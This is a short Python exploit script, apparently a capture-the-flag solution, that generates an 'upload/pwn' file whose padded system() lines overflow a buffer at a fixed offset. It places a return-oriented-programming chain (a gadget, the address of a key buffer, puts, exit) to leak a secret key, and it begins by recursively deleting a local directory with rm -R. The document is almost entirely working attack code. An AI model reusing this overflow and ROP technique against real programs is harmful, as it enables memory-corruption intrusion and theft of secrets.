wannabe.py

#!/usr/bin/env python

import os
import struct

def pack(addr):
  return struct.pack("<Q", addr)

puts = 0x4009d0
gadget = 0x401583
key = 0x601d80
exit = 0x400b20

os.system("rm -R ./upload")
os.mkdir("upload")

rip_off = 68

filename = "upload/pwn"
f = open(filename, "w")

def add_file(data):
  global f
  f.write('system("'+data+'");\n')


def write_data(offset, data):
  null_off = data.rfind("\x00")
  while null_off >= 0:
    add_file("A"*192)
    add_file("A"*(offset+null_off+1)+data[null_off+1:])
    data = data[:null_off]
    null_off = data.rfind("\x00")
  add_file("A"*192)
  add_file("A"*(offset+null_off+1)+data[null_off+1:])

for i in range(256):
  add_file("A"*rip_off)

write_data(rip_off, pack(gadget)+pack(key)+pack(puts)+pack(exit))